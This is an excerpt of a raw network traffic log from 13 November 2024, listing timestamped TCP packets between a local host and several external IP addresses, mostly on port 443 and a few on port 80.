Nov 13, 2024 18:08:19.771253109 CET	49781	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.771286964 CET	443	49781	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.771404982 CET	49781	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.771564007 CET	49781	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.771579027 CET	443	49781	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.773581982 CET	443	49773	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.773699999 CET	443	49773	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.773926973 CET	49773	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.773957968 CET	49773	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.773962021 CET	443	49773	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.774024963 CET	49773	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.774029016 CET	443	49773	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.776195049 CET	49782	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.776218891 CET	443	49782	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.776297092 CET	49782	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.776413918 CET	49782	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.776434898 CET	443	49782	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.778692961 CET	49783	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:19.778732061 CET	443	49783	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:19.778789043 CET	49783	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:19.780168056 CET	49783	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:19.780181885 CET	443	49783	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:19.784759998 CET	443	49771	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.784871101 CET	443	49771	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.784918070 CET	49771	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.784960032 CET	49771	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.784970999 CET	443	49771	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.784992933 CET	49771	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.784998894 CET	443	49771	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.786741018 CET	49784	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.786772013 CET	443	49784	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.786839008 CET	49784	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.786945105 CET	49784	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.786956072 CET	443	49784	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.836344004 CET	443	49774	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.836541891 CET	443	49774	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.836608887 CET	49774	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.836673021 CET	49774	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.836692095 CET	443	49774	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.836700916 CET	49774	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.836707115 CET	443	49774	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.846167088 CET	49785	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.846209049 CET	443	49785	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.846302986 CET	49785	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.846436977 CET	49785	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.846451998 CET	443	49785	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.876441956 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.876481056 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.876506090 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.876528978 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.876538038 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.876564026 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.876580000 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.876614094 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.876652956 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.876660109 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.884927034 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.884993076 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.885000944 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.928335905 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.928353071 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.975191116 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.993076086 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.993140936 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.993176937 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.993182898 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.995568037 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.995608091 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.995614052 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.999838114 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.999891043 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.999896049 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.008845091 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.008909941 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.008915901 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.017252922 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.017301083 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.017307043 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.025908947 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.025954962 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.025963068 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.034802914 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.034847021 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.034852028 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.043443918 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.043612003 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.043620110 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.052129030 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.052190065 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.052195072 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.100207090 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.100213051 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.110177040 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.110212088 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.110255003 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.110261917 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.110321045 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.110330105 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.110418081 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.110459089 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.110465050 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.112466097 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.112507105 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.112529039 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.112535000 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.112581968 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.115041018 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.118242025 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.118268013 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.118288994 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.118294954 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.118334055 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.124942064 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.130950928 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.130995989 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.131006002 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.137054920 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.137082100 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.137104988 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.137111902 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.137141943 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.143165112 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.149055004 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.149085045 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.149106979 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.149116039 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.149156094 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.155190945 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.161592007 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.161618948 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.161653042 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.161659956 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.161700964 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.167655945 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.173469067 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.173501015 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.173532009 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.173538923 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.173577070 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.179203033 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.185228109 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.185251951 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.185281992 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.185288906 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.185328960 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.191310883 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.197415113 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.197472095 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.197494984 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.197501898 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.197551966 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.204015017 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.226917028 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.226970911 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.226978064 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.227036953 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.227061987 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.227071047 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.227077961 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.227112055 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.227118015 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.228358984 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.228389025 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.228394032 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.228400946 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.228439093 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.231518030 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.236884117 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.236915112 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.236934900 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.236942053 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.236979008 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.242192984 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.247457027 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.247507095 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.247514009 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.250955105 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.250992060 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.251121044 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.251127958 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.251167059 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.251318932 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.251355886 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:20.251401901 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:20.505743027 CET	443	49780	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.506335020 CET	443	49781	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.507168055 CET	49780	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.507189989 CET	443	49780	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.507786036 CET	49780	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.507791996 CET	443	49780	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.508349895 CET	49781	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.508371115 CET	443	49781	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.509350061 CET	49781	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.509356022 CET	443	49781	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.518711090 CET	443	49784	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.519167900 CET	49784	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.519177914 CET	443	49784	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.519767046 CET	49784	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.519772053 CET	443	49784	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.529175997 CET	443	49782	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.529592037 CET	49782	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.529616117 CET	443	49782	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.530308962 CET	49782	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.530329943 CET	443	49782	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.544168949 CET	443	49778	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:20.545933962 CET	49778	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:20.545978069 CET	443	49778	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:20.547045946 CET	443	49778	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:20.547112942 CET	49778	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:20.547460079 CET	49778	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:20.547535896 CET	443	49778	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:20.587338924 CET	443	49785	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.589771986 CET	49785	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.589799881 CET	443	49785	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.590558052 CET	49785	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.590563059 CET	443	49785	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.599963903 CET	49778	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:20.599999905 CET	443	49778	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:20.630521059 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:20.636174917 CET	443	49780	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.636616945 CET	443	49780	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.636676073 CET	49780	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.637078047 CET	443	49781	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.637360096 CET	443	49781	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.637420893 CET	49781	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.642585993 CET	49780	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.642596006 CET	443	49780	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.642606020 CET	49780	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.642611027 CET	443	49780	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.646852970 CET	49778	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:20.649430037 CET	443	49784	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.649750948 CET	443	49784	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.649807930 CET	49784	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.664777040 CET	443	49782	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.664838076 CET	443	49782	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.664884090 CET	49782	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.669118881 CET	443	49783	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:20.669204950 CET	49783	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:20.678085089 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:20.689512014 CET	49782	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.689516068 CET	443	49782	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.689522982 CET	49782	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.689526081 CET	443	49782	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.691319942 CET	49781	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.691319942 CET	49781	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.691365957 CET	443	49781	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.691375971 CET	443	49781	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.692733049 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:20.692761898 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:20.693238020 CET	49784	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.693238974 CET	49784	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.693263054 CET	443	49784	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.693273067 CET	443	49784	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.694520950 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:20.694617033 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:20.696772099 CET	49783	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:20.696852922 CET	443	49783	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:20.697069883 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:20.697129011 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:20.697813034 CET	443	49783	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:20.718116045 CET	443	49785	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.718394995 CET	443	49785	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.718446970 CET	49785	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.740634918 CET	49783	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:20.898766994 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:20.899252892 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:20.904762983 CET	49785	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.904793024 CET	443	49785	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.904807091 CET	49785	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.904814959 CET	443	49785	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.910589933 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:20.910630941 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:20.910721064 CET	49788	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.910784960 CET	443	49788	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.910821915 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:20.910856009 CET	49788	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.923547983 CET	49789	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.923566103 CET	443	49789	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.923638105 CET	49789	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.924062014 CET	49788	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.924110889 CET	443	49788	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.926254034 CET	49790	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.926306963 CET	443	49790	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.926477909 CET	49790	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.926641941 CET	49790	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.926673889 CET	443	49790	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.931596041 CET	49791	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.931602955 CET	443	49791	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.931663990 CET	49791	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.941699982 CET	49789	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.941714048 CET	443	49789	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.943068981 CET	49792	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.943100929 CET	443	49792	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.943155050 CET	49792	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.943238020 CET	49791	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.943249941 CET	443	49791	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.943310022 CET	49792	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:20.943320990 CET	443	49792	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:20.951342106 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:21.068059921 CET	49783	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:21.111339092 CET	443	49783	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:21.193058968 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:21.237938881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:21.238245010 CET	49795	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:21.238562107 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:21.238600016 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:21.239593983 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:21.239985943 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:21.240053892 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:21.242811918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:21.243063927 CET	80	49795	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:21.243123055 CET	49795	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:21.243349075 CET	49795	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:21.248347998 CET	80	49795	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:21.317954063 CET	443	49783	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:21.318104029 CET	443	49783	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:21.318226099 CET	49783	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:21.318226099 CET	49783	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:21.318226099 CET	49783	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:21.318269968 CET	443	49783	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:21.352730989 CET	49796	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:21.352771044 CET	443	49796	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:21.352829933 CET	49796	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:21.353080034 CET	49796	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:21.353091955 CET	443	49796	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:21.515085936 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:21.515113115 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:21.515326023 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:21.516859055 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:21.516868114 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:21.631098986 CET	49783	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:21.631134987 CET	443	49783	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:21.658313990 CET	443	49790	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.661149025 CET	49790	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.661181927 CET	443	49790	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.661891937 CET	49790	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.661899090 CET	443	49790	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.668953896 CET	443	49792	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.674017906 CET	49792	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.674038887 CET	443	49792	13.107.246.45	192.168.2.6
